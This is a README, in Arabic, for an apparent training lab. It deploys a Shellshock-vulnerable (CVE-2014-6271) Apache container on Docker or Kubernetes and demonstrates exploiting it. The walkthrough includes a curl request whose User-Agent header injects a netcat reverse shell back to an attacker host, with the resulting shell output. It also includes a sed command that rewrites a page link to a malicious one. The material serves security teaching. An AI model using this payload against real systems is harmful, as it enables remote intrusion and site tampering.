
هذا المستودع هو بيئة PoC لـ CVE-2014-6271 (https://nvd.nist.gov/vuln/detail/cve-2014-6271).
هذا المستودع هو بيئة إثبات المفهوم (PoC) لـ CVE-2014-6271.
يمكنك نشر خدمة ويب تحتوي على الثغرة باستخدام صورة حاوية apache2.
بناء الصورة غير الآمنة من Dockerfile.
# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/
Docker
نشر حاوية PoC كحاوية docker.
# docker run -d -p 8080:80 training-website-poc:v1.0
Kubernetes
نشر حاوية PoC كـ pod و service في k8s.
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml
بعد اكتمال النشر، يمكنك تصفح صفحة الويب عن طريق الوصول إلى عنوان URL التالي باستخدام المتصفح.
يمكنك الوصول إلى بيئة مختبر k8s عن طريق النقر على الرابط "Click!" الموجود أسفل صفحة الويب.
Docker
http://<docker host IP>:8080
Kubernetes
http://<k8s service endpoint>:<k8s service port>
في هذا العرض، يمكنك تغيير صفحة الويب من مضيف المهاجم (خارج الحاوية) مستغلاً ثغرة CVE-2014-6271.
نفذ هذه الأوامر من مضيف المهاجم.
الطرفية 1
# nc -nvlp 5050
الطرفية 2
※في هذه الحالة، ننشر حاوية PoC باستخدام Docker. في حالة Kubernetes، يجب أن يكون عنوان URL هو http://<k8s service endpoint>:<k8s service port>.
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable
بعد ذلك، يمكنك رؤية أنه يمكن تنفيذ /bin/bash لحاوية PoC في الطرفية 1.
Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin
قم بتغيير الرابط "Click!" في صفحة الويب.
في هذه الحالة، نستخدم صفحة وهمية للرابط الضار.
sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html
قم بالوصول إلى صفحة الويب مرة أخرى وانقر على الرابط "Click!" الموجود أسفل صفحة الويب.
http://<docker host IP>:8080
https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271